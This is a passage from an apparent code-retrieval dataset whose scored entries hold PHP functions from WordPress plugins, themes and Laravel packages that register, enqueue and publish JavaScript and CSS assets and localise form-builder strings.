'Saved!', 'wpforms-lite' ),\n\t\t\t'save_exit' => esc_html__( 'Save and Exit', 'wpforms-lite' ),\n\t\t\t'saved_state' => '',\n\t\t\t'layout_selector_show' => esc_html__( 'Show Layouts', 'wpforms-lite' ),\n\t\t\t'layout_selector_hide' => esc_html__( 'Hide Layouts', 'wpforms-lite' ),\n\t\t\t'layout_selector_layout' => esc_html__( 'Select your layout', 'wpforms-lite' ),\n\t\t\t'layout_selector_column' => esc_html__( 'Select your column', 'wpforms-lite' ),\n\t\t\t'loading' => esc_html__( 'Loading', 'wpforms-lite' ),\n\t\t\t'template_name' => ! empty( $this->template['name'] ) ? $this->template['name'] : '',\n\t\t\t'template_slug' => ! empty( $this->template['slug'] ) ? $this->template['slug'] : '',\n\t\t\t'template_modal_title' => ! empty( $this->template['modal']['title'] ) ? $this->template['modal']['title'] : '',\n\t\t\t'template_modal_msg' => ! empty( $this->template['modal']['message'] ) ? $this->template['modal']['message'] : '',\n\t\t\t'template_modal_display' => ! empty( $this->template['modal_display'] ) ? $this->template['modal_display'] : '',\n\t\t\t'template_select' => esc_html__( 'Use Template', 'wpforms-lite' ),\n\t\t\t'template_confirm' => esc_html__( 'Changing templates on an existing form will DELETE existing form fields. Are you sure you want apply the new template?', 'wpforms-lite' ),\n\t\t\t'embed_modal' => esc_html__( 'You are almost done. To embed this form on your site, please paste the following shortcode inside a post or page.', 'wpforms-lite' ),\n\t\t\t'embed_modal_2' => esc_html__( 'Or you can follow the instructions in this video.', 'wpforms-lite' ),\n\t\t\t'exit' => esc_html__( 'Exit', 'wpforms-lite' ),\n\t\t\t'exit_url' => admin_url( 'admin.php?page=wpforms-overview' ),\n\t\t\t'exit_confirm' => esc_html__( 'If you exit without saving, your changes will be lost.', 'wpforms-lite' ),\n\t\t\t'delete_confirm' => esc_html__( 'Are you sure you want to delete this field?', 'wpforms-lite' ),\n\t\t\t'duplicate_confirm' => esc_html__( 'Are you sure you want to duplicate this field?', 'wpforms-lite' ),\n\t\t\t'duplicate_copy' => esc_html__( '(copy)', 'wpforms-lite' ),\n\t\t\t'error_title' => esc_html__( 'Please enter a form name.', 'wpforms-lite' ),\n\t\t\t'error_choice' => esc_html__( 'This item must contain at least one choice.', 'wpforms-lite' ),\n\t\t\t'off' => esc_html__( 'Off', 'wpforms-lite' ),\n\t\t\t'on' => esc_html__( 'On', 'wpforms-lite' ),\n\t\t\t'or' => esc_html__( 'or', 'wpforms-lite' ),\n\t\t\t'other' => esc_html__( 'Other', 'wpforms-lite' ),\n\t\t\t'operator_is' => esc_html__( 'is', 'wpforms-lite' ),\n\t\t\t'operator_is_not' => esc_html__( 'is not', 'wpforms-lite' ),\n\t\t\t'operator_empty' => esc_html__( 'empty', 'wpforms-lite' ),\n\t\t\t'operator_not_empty' => esc_html__( 'not empty', 'wpforms-lite' ),\n\t\t\t'operator_contains' => esc_html__( 'contains', 'wpforms-lite' ),\n\t\t\t'operator_not_contains' => esc_html__( 'does not contain', 'wpforms-lite' ),\n\t\t\t'operator_starts' => esc_html__( 'starts with', 'wpforms-lite' ),\n\t\t\t'operator_ends' => esc_html__( 'ends with', 'wpforms-lite' ),\n\t\t\t'operator_greater_than' => esc_html__( 'greater than', 'wpforms-lite' ),\n\t\t\t'operator_less_than' => esc_html__( 'less than', 'wpforms-lite' ),\n\t\t\t'payments_entries_off' => esc_html__( 'Form entries must be stored to accept payments. Please enable saving form entries in the General settings first.', 'wpforms-lite' ),\n\t\t\t'previous' => esc_html__( 'Previous', 'wpforms-lite' ),\n\t\t\t'provider_required_flds' => esc_html__( 'Your form contains required {provider} settings that have not been configured. Please double-check and configure these settings to complete the connection setup.' ),\n\t\t\t'rule_create' => esc_html__( 'Create new rule', 'wpforms-lite' ),\n\t\t\t'rule_create_group' => esc_html__( 'Add new group', 'wpforms-lite' ),\n\t\t\t'rule_delete' => esc_html__( 'Delete rule', 'wpforms-lite' ),\n\t\t\t'smart_tags' => wpforms()->smart_tags->get(),\n\t\t\t'smart_tags_show' => esc_html__( 'Show Smart Tags', 'wpforms-lite' ),\n\t\t\t'smart_tags_hide' => esc_html__( 'Hide Smart Tags', 'wpforms-lite' ),\n\t\t\t'select_field' => esc_html__( '--- Select Field ---', 'wpforms-lite' ),\n\t\t\t'select_choice' => esc_html__( '--- Select Choice ---', 'wpforms-lite' ),\n\t\t\t'upload_image_title' => esc_html__( 'Upload or Choose Your Image', 'wpforms-lite' ),\n\t\t\t'upload_image_button' => esc_html__( 'Use Image', 'wpforms-lite' ),\n\t\t\t'upload_image_remove' => esc_html__( 'Remove Image', 'wpforms-lite' ),\n\t\t\t'provider_add_new_acc_btn' => esc_html__( 'Add', 'wpforms-lite' ),\n\t\t\t'pro' => wpforms()->pro,\n\t\t\t'is_gutenberg' => version_compare( get_bloginfo( 'version' ), '5.0', '>=' ) && ! is_plugin_active( 'classic-editor/classic-editor.php' ),\n\t\t\t'cl_fields_supported' => wpforms_get_conditional_logic_form_fields_supported(),\n\n\t\t);\n\t\t$strings = apply_filters( 'wpforms_builder_strings', $strings, $this->form );\n\n\t\tif ( ! empty( $_GET['form_id'] ) ) {\n\t\t\t$strings['preview_url'] = wpforms_get_form_preview_url( $_GET['form_id'] );\n\t\t\t$strings['entries_url'] = esc_url_raw( admin_url( 'admin.php?page=wpforms-entries&view=list&form_id=' . intval( $_GET['form_id'] ) ) );\n\t\t}\n\n\t\twp_localize_script(\n\t\t\t'wpforms-builder',\n\t\t\t'wpforms_builder',\n\t\t\t$strings\n\t\t);\n\n\t\t// Hook for addons.\n\t\tdo_action( 'wpforms_builder_enqueues', $this->view );\n\t}", "title": "" }, { "docid": "a59ad0dd69d5d12021e7643b9768896e", "score": "0.5498835", "text": "private function publishAssets(): void\n {\n if ($this->option('fromBuild')) {\n // If this is from a build, we copy from dist to public.\n $this->files->copyDirectory(__DIR__ . '/../../dist/', public_path());\n } else {\n $this->call('vendor:publish', [\n '--provider' => \\A17\\Twill\\TwillServiceProvider::class,\n '--tag' => 'assets',\n ]);\n }\n }", "title": "" }, { "docid": "983b044e70a2a9a9a0015e4f927adbc0", "score": "0.5497454", "text": "public function enqueue_admin_assets()\n {\n wp_enqueue_style('owst-admin', plugin_dir_url(__FILE__).'assets/css/owst-admin.css', [], null);\n wp_enqueue_script('owst-admin', plugin_dir_url(__FILE__).'assets/js/owst-admin.js', array('jquery'), null);\n }", "title": "" }, { "docid": "86b051fb2833dcfbfe6369ce9c54dfb1", "score": "0.5495799", "text": "protected function defineAssetPublishing()\n {\n if ($this->app->runningInConsole()) {\n $this->publishes([\n FILEMANAGER_PATH.'/public' => public_path('vendor/filemanager'),\n ], 'filemanager-assets');\n }\n }", "title": "" }, { "docid": "ea00b1c850538e0bbb706364280e2891", "score": "0.5492734", "text": "public function events_team_integrator_admin_assets() {\n\t\t\tif ( 'mp-event' !== get_post_type() )\n\t\t\t\treturn;\n\n\t\t\twp_enqueue_script( 'mti-script', $this->plugin_url . 'tools/events-team-integrator/admin/assets/js/script.js', array('jquery'), $this->version, true );\n\t\t\twp_enqueue_style( 'mti-style', $this->plugin_url . 'tools/events-team-integrator/admin/assets/css/style.css', '', $this->version );\n\t\t}", "title": "" }, { "docid": "5974df7faf624ba6da51c1d63ff68cb5", "score": "0.54807496", "text": "final public function wp_print_scripts()\r\n {\r\n global $wp_scripts;\r\n\r\n if (is_admin()) :\r\n return;\r\n endif;\r\n\r\n $this->initConcat();\r\n\r\n\t\tforeach ($wp_scripts->registered as $r) :\r\n\t\t\t$this->add($r->handle, $r->src, $r->deps, $r->ver, $r->args);\r\n\t\t\r\n\t\t\tforeach ((array) $r->extra as $key => $value) :\r\n\t\t\t\t$this->add_data($r->handle, $key, $value);\r\n endforeach;\r\n\r\n\t\t\tif (! in_array($r->handle, $wp_scripts->queue)) :\r\n\t\t\t\tcontinue;\r\n endif;\r\n\t\t\t$this->enqueue($r->handle);\r\n\t\tendforeach;\r\n\r\n $this->do_items(false, 0);\r\n if (!empty($this->concat['head']['src'])) :\r\n $this->concat['head']['deps'] = array_diff($this->concat['head']['deps'], $this->concat['head']['handles']);\r\n $wp_scripts->add(\r\n 'minifyJs-header',\r\n site_url(\r\n '/wp-content/mu-plugins/presstify/core/Cache/Minify/min/') . '?f=' .\r\n join(',',\r\n array_map(\r\n function ($src) {\r\n return trim($src, \"/\");\r\n },\r\n $this->concat['head']['src']\r\n )\r\n ),\r\n $this->concat['head']['deps']\r\n );\r\n $wp_scripts->enqueue('minifyJs-header');\r\n endif;\r\n\r\n $this->do_items(false, 1);\r\n if (!empty($this->concat['footer']['src'])) :\r\n $this->concat['footer']['deps'] = array_diff($this->concat['footer']['deps'], $this->concat['footer']['handles']);\r\n $wp_scripts->add(\r\n 'minifyJs-footer',\r\n site_url(\r\n '/wp-content/mu-plugins/presstify/core/Cache/Minify/min/') . '?f=' .\r\n join(',',\r\n array_map(\r\n function ($src) {\r\n return trim($src, \"/\");\r\n },\r\n $this->concat['footer']['src']\r\n )\r\n ),\r\n $this->concat['footer']['deps']\r\n );\r\n $wp_scripts->add_data('minifyJs-footer', 'group', 1);\r\n $wp_scripts->enqueue('minifyJs-footer');\r\n endif;\r\n\t}", "title": "" }, { "docid": "02b1ae5cea22ee5e1eb3f5ebc70ed637", "score": "0.54745984", "text": "protected function default_scripts()\n {\n $develop_src = false !== strpos( \\ecjia::VERSION, '-src' );\n\n if ( ! config('system.script_debug') ) {\n $suffix = '.min';\n } else {\n $suffix = '';\n }\n\n $dev_suffix = $develop_src ? '' : '.min';\n\n $base_url = dirname(dirname(dirname(RC_App::app_dir_url(__FILE__)))) . '/statics';\n\n $this->scripts->remove('jquery');\n $this->scripts->remove('bootstrap');\n\n $this->scripts->add( 'bootstrap', \t\t $base_url.'/mh-js/bootstrap.min.js' );\n $this->scripts->add( 'jquery', \t\t\t $base_url.'/mh-js/jquery-1.11.1.min.js' );\n $this->scripts->add( 'ecjia-merchant', \t\t\t$base_url.'/ecjia/ecjia-merchant.js', array('jquery', 'ecjia') );\n $this->scripts->add( 'ecjia-merchant-ui', \t\t$base_url.'/ecjia/ecjia-merchant-ui.js', array('jquery', 'ecjia') );\n\n // 添加 merchant-template-js\n $this->scripts->add( 'ecjia-mh-jquery-customSelect', $base_url.'/mh-js/jquery.customSelect.min.js', array('jquery'), false, 1 );\n\n $this->scripts->add( 'ecjia-mh-jquery-dcjqaccordion', $base_url.'/mh-js/jquery.dcjqaccordion.2.7.min.js', array('jquery'), false, 1 );\n\n $this->scripts->add( 'ecjia-mh-jquery-nicescroll', $base_url.'/mh-js/jquery.nicescroll.js', array('jquery'), false, 1 );\n $this->scripts->add( 'ecjia-mh-jquery-scrollTo', $base_url.'/mh-js/jquery.scrollTo.min.js', array('jquery'), false, 1 );\n $this->scripts->add( 'ecjia-mh-jquery-sparkline', $base_url.'/mh-js/jquery.sparkline.js', array('jquery'), false, 1 );\n $this->scripts->add( 'ecjia-mh-jquery-stepy', $base_url.'/mh-js/jquery.stepy.js', array('jquery'), false, 1 );\n $this->scripts->add( 'ecjia-mh-jquery-tagsinput', $base_url.'/mh-js/jquery.tagsinput.js', array('jquery'), false, 1 );\n $this->scripts->add( 'ecjia-mh-jquery-validate', $base_url.'/mh-js/jquery.validate.min.js', array('jquery'), false, 1 );\n $this->scripts->add( 'ecjia-mh-jquery-actual', \t$base_url.'/mh-js/jquery-actual.min.js', array('jquery'), false, 1 );\n $this->scripts->add( 'ecjia-mh-jquery-migrate', $base_url.'/mh-js/jquery-migrate.min.js', array('jquery'), false, 1 );\n $this->scripts->add( 'ecjia-mh-jquery-quicksearch', $base_url.'/mh-js/jquery.quicksearch.js', array('jquery'), false, 1 );\n\n $this->scripts->add( 'ecjia-mh-jquery-easy-pie-chart', $base_url.'/assets/jquery-easy-pie-chart/jquery.easy-pie-chart.js', array('jquery'), false, 1 );\n $this->scripts->add( 'ecjia-mh-morris-script', $base_url.'/assets/morris.js-0.4.3/morris.min.js', array(), false, 1 );\n $this->scripts->add( 'ecjia-mh-owl-carousel', $base_url.'/mh-js/owl.carousel.js', array(), false, 1 );\n $this->scripts->add( 'ecjia-mh-respond', $base_url.'/mh-js/respond.min.js', array(), false, 1 );\n $this->scripts->add( 'ecjia-mh-slider', $base_url.'/assets/slider/js/bootstrap-slider.js', array(), false, 1 );\n $this->scripts->add( 'ecjia-mh-sparkline-chart', $base_url.'/mh-js/sparkline-chart.js', array(), false, 1 );\n $this->scripts->add( 'ecjia-mh-themes', $base_url.'/mh-js/themes.js', array(), false, 1 );\n $this->scripts->add( 'ecjia-mh-xchart', $base_url.'/mh-js/xchart.js', array(), false, 1 );\n $this->scripts->add( 'ecjia-mh-chosen-jquery', $base_url.'/assets/chosen/chosen.jquery.min.js', array(), false, 1 );\n $this->scripts->add( 'ecjia-mh-chart', $base_url.'/assets/Chart/Chart.min.js', array(), false, 1 );\n $this->scripts->add( 'ecjia-mh-bootstrap-fileupload-js',\t$base_url.'/assets/bootstrap-fileupload/bootstrap-fileupload.js', array(), false, 1 );\n $this->scripts->add( 'ecjia-mh-editable-js', $base_url.'/assets/x-editable/bootstrap-editable/js/bootstrap-editable.min.js', array(), false, 1 );\n }", "title": "" }, { "docid": "d5b1ca3389f46b897dc3d1a644584efd", "score": "0.54655176", "text": "function set_admin_resources(){\r\n \t//wp_enqueue_script('mcmTools', $this->pluginUrl .'/js/jquery.tools.min.js', array('jquery'));\r\n \t//wp_enqueue_script('mcmAdminUtils', $this->pluginUrl .'/js/mcm-admin-utils.js', array('jquery'));\r\n \twp_enqueue_media();\r\n }", "title": "" }, { "docid": "d99a6b98b0239366b550a99f0efbfc0b", "score": "0.54634655", "text": "public function beforeStartingDeploy()\r\n {\r\n if ($this->isWebPackProject){\r\n //build webpack encore production\r\n $this->log(\"Doing local Webpack Encore production build.\");\r\n \r\n $this->runLocal(sprintf('npm run %s', $this->nameOfNPMProductionScript));\r\n $this->log(\"Webpack Encore production build complete.\");\r\n }\r\n // $this->runLocal('./vendor/bin/simple-phpunit');\r\n }", "title": "" }, { "docid": "a9a5205b5589b51ab6201fbb91287425", "score": "0.5461261", "text": "public function enqueue() {\n\t\t// Path\n\t\t$path = str_replace( WP_CONTENT_DIR, WP_CONTENT_URL, dirname( dirname( __FILE__ ) ) );\n\t\t\n\t\twp_enqueue_style( 'jquery-select2-css', trailingslashit( $path ) . 'css/select2.min.css', array(), '4.0.0' );\n\t\twp_enqueue_script( 'jquery-select2', trailingslashit( $path ) . 'js/select2.full.min.js', array( 'jquery' ), '4.0.0', true );\n\t}", "title": "" }, { "docid": "a5bafc5d6c7e38fc985fce08736b8fe0", "score": "0.54473245", "text": "public function enqueueAdmin() {\n \t// These two lines allow you to only load the files on the relevant screen, in this case, the editor for a \"books\" custom post type\n \t$screen = get_current_screen();\n \tif (!($screen->base == 'post' && $screen->post_type == 'books')) return;\n\n \t// Actual enqueues, note the files are in the js and css folders\n \t// For scripts, make sure you are including the relevant dependencies (jquery in this case)\n \twp_enqueue_script('very-descriptive-name', plugins_url('js/books-post-editor.js', __FILE__), array('jquery'), '1.0', true);\n \twp_enqueue_style('very-exciting-name', plugins_url('css/books-post-editor.css', __FILE__), null, '1.0');\n }", "title": "" }, { "docid": "30fbeb29324a715c32395331475c7021", "score": "0.54471034", "text": "function progressbar_cgb_block_assets() {\n\t// We will not enqueue our frontend script in the admin panel\n\tif ( is_admin() ) {\n\t\treturn;\n\t}\n\n\twp_enqueue_script(\n\t\t'progressbar-cgb-frontend-js',\n\t\tplugins_url( '/dist/frontend.build.js', dirname( __file__ ) ),\n\t\tarray( 'wp-hooks' )\n\t\t,filemtime( plugin_dir_path( __DIR__ ) . 'dist/frontend.build.js' ),\n\t\ttrue\n\t);\n}", "title": "" }, { "docid": "c63317ca6c8219e8e07439359d3f2dcd", "score": "0.5443587", "text": "private function registerAssetPublishing()\n {\n if ($this->app->runningInConsole()) {\n $this->publishes([\n __DIR__ . '/../public' => public_path('vendor/laratalk'),\n ], 'laratalk-assets');\n\n $this->publishes([\n __DIR__ . '/../config/laratalk.php' => config_path('laratalk.php'),\n ], 'laratalk-config');\n }\n }", "title": "" }, { "docid": "99e2f9afb5f4389bb6b87363bc1613f6", "score": "0.5436585", "text": "public function enqueue() {\n\t\t$this->enqueue_scripts();\n\t\t$this->enqueue_styles();\n\t}", "title": "" }, { "docid": "f4931e9865bd9393e5ea97bc03f70976", "score": "0.54320765", "text": "function progressbar_cgb_editor_assets() {\n\twp_enqueue_script(\n\t\t'progressbar-cgb-block-js',\n\t\tplugins_url( '/dist/blocks.build.js', dirname( __FILE__ ) ),\n\t\tarray( 'wp-blocks', 'wp-i18n', 'wp-element', 'wp-editor', 'wp-hooks' ),\n\t\tfilemtime( plugin_dir_path( __DIR__ ) . 'dist/blocks.build.js' ),\n\t\ttrue\n\t);\n}", "title": "" }, { "docid": "8df2b9a178627733691e13e678b5e25f", "score": "0.54260623", "text": "function adminEnqueueScripts() {\n\t\t// wp_enqueue_script('jquery-ui-sortable');\n\t\t// wp_enqueue_script('jquery-ui-datepicker');\n\t}", "title": "" }, { "docid": "5f3cf58d091b3c86737aa15207fed792", "score": "0.5425459", "text": "function enqueueFrontend(){\n\t\t\n wp_enqueue_style( 'iiab_bootstrapv4js', $this->plugin_url. 'assets/bootstrap.min.css' );\n wp_enqueue_script( 'iiab_bootstrapv4css', $this->plugin_url. 'assets/bootstrap.min.js' );\n\t}", "title": "" }, { "docid": "26ceea0419025664199e550374978857", "score": "0.54201186", "text": "public function enqueue_scripts()\n {\n /**\n * If development mode is on, set the version to the current time.\n * This prevents caching errors when developing.\n */\n if ($this->development_mode) {\n $version = date('mdyGis');\n } else {\n $version = $this->theme_version;\n }\n\n /** Enqueue Popper */\n wp_enqueue_script(\n \"popper\",\n get_template_directory_uri() . \"/node_modules/popper.js/dist/umd/popper.min.js\",\n array(), $version, true\n );\n\n /** Enqueue Bootstrap */\n wp_enqueue_style(\n \"bootstrap\",\n get_template_directory_uri() . \"/node_modules/bootstrap/dist/css/bootstrap.min.css\",\n array(), $version, \"all\"\n );\n\n wp_enqueue_script(\n \"bootstrap\",\n get_template_directory_uri() . \"/node_modules/bootstrap/dist/js/bootstrap.min.js\",\n array(\"popper\"), $version, true\n );\n\n /** Enqueue the CSS files */\n wp_enqueue_style(\n \"style\",\n get_stylesheet_uri(),\n array(), $version, \"all\"\n );\n wp_enqueue_style(\n \"theme-style\",\n get_template_directory_uri() . \"/dist/css/theme.min.css\",\n array(), $version, \"all\"\n );\n \n /** Enqueue the Javascript files */\n wp_enqueue_script(\n \"theme-js\",\n get_template_directory_uri() . \"/dist/js/theme.min.js\",\n array(\"jquery\"), $version, true\n );\n }", "title": "" }, { "docid": "8b14ab2b1477fd2f68ecf3dc7b9c449c", "score": "0.5415961", "text": "private function enqueue_assets( $app, $plugins_dir, $plugins_url ) {\n $docs_block_path = \"/dist/$app/app.js\";\n $docs_block_asset_file = include( $plugins_dir . \"/dist/$app/app.asset.php\");\n if ( is_singular() ) {\n $id = get_the_ID();\n \n if ( has_block( 'pintra/' . \\strtolower( $app ), $id ) ) {\n \\wp_enqueue_script( 'wpo365-unpkg-react', 'https://unpkg.com/react@16/umd/react.production.min.js' );\n \\wp_enqueue_script( 'wpo365-unpkg-react-dom', 'https://unpkg.com/react-dom@16/umd/react-dom.production.min.js' );\n \n \\wp_enqueue_script( \n \"pintra-$app-block\",\n $plugins_url . $docs_block_path,\n \\array_merge( $docs_block_asset_file['dependencies'], array( 'wpo365-unpkg-react', 'wpo365-unpkg-react-dom' ) ),\n $docs_block_asset_file['version'],\n true ); // Load in footer so the page has rendered and the block with the class can be found\n \n \\wp_add_inline_script( \"pintra-$app-block\", 'window.pintra = window.pintra || {}; window.pintra.env = ' . json_encode( array(\n 'nonce' => \\wp_create_nonce( 'wp_rest' ),\n 'apiUrl' => \\trailingslashit( \\get_option( 'home' ) ) . 'wp-json/wpo365/v1/pintra',\n ) ), 'before' );\n }\n }\n }", "title": "" }, { "docid": "1064d48b0a0f8e91b377b47fc4669ecc", "score": "0.5415084", "text": "function NexusGlobalEnqueueScripts() \n {\n global $wp_scripts;\n\n wp_enqueue_style('igloo-embed-min', get_template_directory_uri() . '/css/igloo.embed.min.css');\n wp_enqueue_style('flag-icon-min', get_template_directory_uri() . '/css/flag-icon.min.css');\n wp_enqueue_style('main-style', get_template_directory_uri() . '/css/style.css');\n wp_enqueue_style('responsive-style', get_template_directory_uri() . '/css/responsive.css');\n\n wp_enqueue_script('igloo-embed-min-js', get_template_directory_uri() . '/js/igloo.embed.min.js', array(), false, true);\n wp_enqueue_script('main-script', get_template_directory_uri() . '/js/main.js?12', array(), false, true);\n \n wp_enqueue_style('nexus_global', get_stylesheet_uri());\n }", "title": "" }, { "docid": "6fcf73cd5a8dbcfb2814d9355574e63b", "score": "0.54110295", "text": "function progenitor_enqueues() {\n\t\t// =================================\n\n\t\tif ( function_exists('progenitor_icons_enqueues') ) {\n\t\t\tprogenitor_icons_enqueues();\n\t\t}\n\n\t\t// CSS/JS FRAMEWORK (default is Bootstrap 4)\n\t\t// =========================================\n\n\t\tif ( function_exists('progenitor_framework_enqueues') ) {\n\t\t\tprogenitor_framework_enqueues();\n\t\t}\n\n\t\t// PROGENITOR\n\t\t// ==========\n\n\t wp_register_style('progenitor-css', get_template_directory_uri() . '/theme/css/progenitor.css', false, null);\n\t\twp_enqueue_style('progenitor-css');\n\n\t\t// COMMENTS\n\t\t// ========\n\n\t\tif (is_singular() && comments_open() && get_option('thread_comments')) {\n\t\t\twp_enqueue_script('comment-reply');\n\t\t}\n\t\t\n\t\t// FANCYBOX\n\t\t// ========\n\n\t\tif ( function_exists('progenitor_fancybox_enqueues') ) {\n\t\t\tprogenitor_fancybox_enqueues();\n\t\t}\n\t\t\n\t\t// WOOCOMMERCE\n\t\t// ===========\n\n\t\tif ( function_exists('progenitor_woocommerce_enqueues') ) {\n\t\t\tprogenitor_woocommerce_enqueues();\n\t\t}\t\t\t\t\n\t\t\t\n\t}", "title": "" }, { "docid": "b943104052998fa5f54ec08e0445387f", "score": "0.5409056", "text": "public function include_assets()\n {\n wp_enqueue_style( 'linearicons', $this->assets_folder . 'css/linearicons.css', [], $this->theme_version() );\n wp_enqueue_style( 'font-awesome', $this->assets_folder . 'css/font-awesome.min.css', [], $this->theme_version() );\n wp_enqueue_style( 'bootstrap', $this->assets_folder . 'css/bootstrap.css', [], $this->theme_version() );\n wp_enqueue_style( 'magnific-popup', $this->assets_folder . 'css/magnific-popup.css', [], $this->theme_version() );\n wp_enqueue_style( 'jquery-ui', $this->assets_folder . 'css/jquery-ui.css', [], $this->theme_version() );\n wp_enqueue_style( 'nice-select', $this->assets_folder . 'css/nice-select.css', [], $this->theme_version() );\n wp_enqueue_style( 'animate', $this->assets_folder . 'css/animate.min.css', [], $this->theme_version() );\n wp_enqueue_style( 'owl', $this->assets_folder . 'css/owl.carousel.css', [], $this->theme_version() );\n wp_enqueue_style( 'main', $this->assets_folder . 'css/main.css', [], $this->theme_version() );\n }", "title": "" }, { "docid": "e1b382de2720734550c4be01383e5271", "score": "0.5402707", "text": "private function _publishCoreAssets() {\n\t\tif (is_null($this->_cs))\n\t\t\t$this->_cs = Yii::app()->getClientScript();\n\n\t\t/**\n\t\t* Determine the JUI package installation path.\n\t\t* This method will identify the JavaScript root URL and theme root URL.\n\t\t* If they are not explicitly specified, it will publish the included JUI package\n\t\t* and use that to resolve the needed paths.\n\t\t*/\n\t \t\tif($this->juiScriptFile===null || $this->juiThemeUrl===null) {\n\t\t\tif($this->juiScriptUrl===null)\n\t\t\t\t$this->juiScriptUrl=$this->_cs->getCoreScriptUrl().'/jui/js';\n\t\t\tif($this->juiThemeUrl===null)\n\t\t\t\t$this->juiThemeUrl=$this->_cs->getCoreScriptUrl().'/jui/css';\n\t\t}\n\n\t\t/**\n\t\t* Register jquery and JUI JavaScript files and the theme CSS file.\n\t\t*/\n\t\tif(is_string($this->juiCssFile))\n\t\t\t$this->_cs->registerCssFile($this->juiThemeUrl.'/'.$this->juiTheme.'/'.$this->juiCssFile);\n\t\telse if(is_array($this->juiCssFile)) {\n\t\t\tforeach($this->juiCssFile as $cssFile)\n\t\t\t\t$this->_cs->registerCssFile($this->juiThemeUrl.'/'.$this->juiTheme.'/'.$cssFile);\n\t\t}\n\n\t\t$this->_cs->registerCoreScript('jquery');\n\t\t$this->_cs->registerCoreScript('bbq');\n\t\tif(is_string($this->juiScriptFile))\n\t\t\t$this->_registerScriptFile($this->juiScriptFile);\n\t\telse if(is_array($this->juiScriptFile)) {\n\t\t\tforeach($this->juiScriptFile as $scriptFile)\n\t\t\t\t$this->_cs->registerScriptFile($scriptFile);\n\t\t}\n\t}", "title": "" }, { "docid": "e61dc622fcba9b6c3c4590cd108a2986", "score": "0.5392548", "text": "function mgtheme_enqueue() {\n\n\t\twp_enqueue_style( 'theme-bootstrap-reboot', get_template_directory_uri() . '/css/bootstrap-reboot.css' );\n\t\twp_enqueue_style( 'theme-bootstrap-grid', get_template_directory_uri() . '/css/bootstrap-grid.css' );\n\t\twp_enqueue_style( 'theme-bootstrap', get_template_directory_uri() . '/css/bootstrap.css' );\n\n wp_enqueue_style( 'main-style', get_stylesheet_uri() );\n\t\twp_enqueue_style( 'theme-main', get_template_directory_uri() . '/css/main.css' );\n\n wp_enqueue_script('jquery');\n\n//\t\twp_enqueue_script( 'theme-script', get_template_directory_uri() . '/inc/js/main.js', array('jquery'), false, true );\n\n//\t\twp_enqueue_script( 'anime-script', get_template_directory_uri() . '/inc/js/anime.min.js', array('jquery'), false, true );\n\n//\t\twp_enqueue_script( 'isotope-script', get_template_directory_uri() . '/inc/js/isotope.pkgd.js', array('jquery'), false, true );\n//\t\twp_enqueue_script( 'nouislider-script', get_template_directory_uri() . '/inc/js/nouislider.js', array('jquery'), false, true );\n\n//\t\twp_enqueue_style( 'accordion-css', get_template_directory_uri() . '/inc/accordion/accordion.css' );\n//\t\twp_enqueue_script( 'accordion-script', get_template_directory_uri() . '/inc/accordion/accordion.js', array('jquery'), false, true );\n\n\t}", "title": "" }, { "docid": "a314aa28e4300bc6f4c69cbd72a056cc", "score": "0.5391923", "text": "public function createFullCollections()\n {\n $this->collections['js'] = array();\n $this->collections['css'] = array();\n\n foreach ($this->config['js'] as $url => $group)\n {\n foreach ($group AS $key => $files)\n {\n if ($key == 'exclude')\n {\n continue;\n }\n\n $_path_array = array();\n foreach ($files as $filename)\n {\n $_path_array[] = $filename;\n }\n $this->am_js->set($key, new GlobAsset(\n $_path_array,\n array(\n new Yui\\JsCompressorFilter(APPPATH . 'third_party/yuicompressor-2.4.7/build/yuicompressor-2.4.7.jar'),\n )\n ));\n }\n }\n\n foreach ($this->config['css'] as $url => $group)\n {\n foreach ($group AS $key => $files)\n {\n if ($key == 'exclude')\n {\n continue;\n }\n\n $_path_array = array();\n foreach ($files as $filename)\n {\n $_path_array[] = $filename;\n }\n $this->am_css->set($key, new GlobAsset(\n $_path_array,\n array(\n new Yui\\CssCompressorFilter(APPPATH . 'third_party/yuicompressor-2.4.7/build/yuicompressor-2.4.7.jar')\n )\n ));\n }\n }\n\n // set paths & cache busting worker for css...\n foreach ($this->am_css->getNames() as $names)\n {\n $this->am_css->get($names)->setTargetPath($names . '.css');\n $this->busting_worker->process($this->am_css->get($names), $this->factory);\n }\n\n // ... and for js\n foreach ($this->am_js->getNames() as $names)\n {\n $this->am_js->get($names)->setTargetPath($names . '.js');\n $this->busting_worker->process($this->am_js->get($names), $this->factory);\n }\n }", "title": "" }, { "docid": "3c76999142b0102821771faab70d3692", "score": "0.53911936", "text": "public function enqueuePublicScripts();", "title": "" }, { "docid": "ba32fe3535876c4c5716a4b4757f7439", "score": "0.53904265", "text": "public function load_assets() {\n\t\tcssf_assets()->render_framework_style_scripts();\n\n\t\tif ( isset( $this->settings['extra_css'] ) && is_array( $this->settings['extra_css'] ) ) {\n\t\t\tforeach ( $this->settings['extra_css'] as $id ) {\n\t\t\t\twp_enqueue_style( $id );\n\t\t\t}\n\t\t}\n\n\t\tif ( isset( $this->settings['extra_js'] ) && is_array( $this->settings['extra_js'] ) ) {\n\t\t\tforeach ( $this->settings['extra_js'] as $id ) {\n\t\t\t\twp_enqueue_script( $id );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "2e9525ae39a4d3d58fee64926e36f4e5", "score": "0.5379673", "text": "public function enqueue_scripts() {\n\n\t\t/**\n\t\t * This function is provided for demonstration purposes only.\n\t\t *\n\t\t * An instance of this class should be passed to the run() function\n\t\t * defined in Dev_Plugin_Loader as all of the hooks are defined\n\t\t * in that particular class.\n\t\t *\n\t\t * The Dev_Plugin_Loader will then create the relationship\n\t\t * between the defined hooks and the functions defined in this\n\t\t * class.\n\t\t */\n\n\t\twp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/dev-plugin-public.js', array( 'jquery' ), $this->version, false );\n\n\t}", "title": "" }, { "docid": "9f7afa53d30a94e55ec18a7266daebda", "score": "0.5377683", "text": "function script_enqueuer() {\n //\t\twp_register_script( 'site', get_template_directory_uri().'/js/site.js', array( 'jquery' ) );\n //\t\twp_enqueue_script( 'site' );\n\n\t\twp_register_style( 'screen', get_template_directory_uri().'/style.css', '', '', 'screen' );\n wp_enqueue_style( 'screen' );\n\t}", "title": "" }, { "docid": "af8bf10cd44361b0b97f28b3da1ca9ef", "score": "0.53774786", "text": "function plugin_assets() {\n\t\n\t// Register the bundled block JS file\n\twp_enqueue_script( 'jsforwp-adv-gb-plugin-js' );\t\n\twp_enqueue_style( 'jsforwp-adv-gb-plugin-css' );\t\n}", "title": "" }, { "docid": "d8cb8ff925e62794bc8a7d4311887e98", "score": "0.5371964", 